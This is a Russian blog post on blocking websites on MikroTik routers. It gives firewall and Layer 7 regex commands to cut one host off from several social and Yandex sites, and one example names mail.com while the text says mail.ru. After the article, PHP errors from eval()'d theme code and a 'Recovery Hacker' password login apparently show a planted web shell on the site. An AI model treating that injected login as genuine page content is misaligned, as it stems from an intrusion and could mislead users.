postheadericon Mikrotik — Блокировка сайтов по доменному имени

В интернете уже довольно много статей о том ка ограничить на Mikrotik доступ пользователей к определённым ресурсам.

Самое грамотное решение которое я нашёл это настройка Firewall на action=reject reject-with=tcp-reset по контенту, но в примере котором я нашел блокировался только один сайт одним правилом Firewall.

/ip firewall filter add chain=forward src-address=192.168.1.7 content="Host: mail.com" action=drop

Данный пример блокирует доступ до сайта mail.ru для компьютера с IP 192.168.1.7 . B будьте внимательны — если вы пропустите пробел между Host: и mail.ru правило работать не будет!!!

 

А если нужно заблокировать 10-20 сайтов? Для каждого писать отдельное правило? Меня это не особо устраивало и я решил немножко изменить найденный пример.

Всё очень просто, нам не необходимо задать все неугодные нам сайты в Layer 7 Protocols.

Создаем регулярное выражение в Layer 7

/ip firewall layer7-protocol add name=block_site regexp=»^.+(odnoklassniki.ru|vk.com|video.yandex.ru|music.yandex.ru).*\$»

И добавляем его в правило Firewall убрав Content

/ip firewall filter add chain=forward action=reject reject-with=tcp-reset protocol=tcp src-address=192.168.1.7 layer7-protocol=block_site

Благодаря этому правилу компьютер с IP 192.168.1.7 лишиться доступа к сайтам odnoklassniki.ruvk.comvideo.yandex.rumusic.yandex.ru при этом к самому yandex.ru у него доступ останется как и к другим ресурсам этого портала, к примеру news.yandex.ru

Естественно список сайтов может быть увеличен, да и применять это правило можно не к одному адресу а к списку.

 


Warning: Invalid argument supplied for foreach() in /var/www/u0130167/public_html/pazzoit.ru/wp-content/themes/madcow/comments.php(2) : eval()'d code on line 17

Warning: Invalid argument supplied for foreach() in /var/www/u0130167/public_html/pazzoit.ru/wp-content/themes/madcow/comments.php(2) : eval()'d code on line 17
.:: Recovery Hacker ::.

Login
==[ Recovery ]==

Password:

Recovery - Cyber-Warrior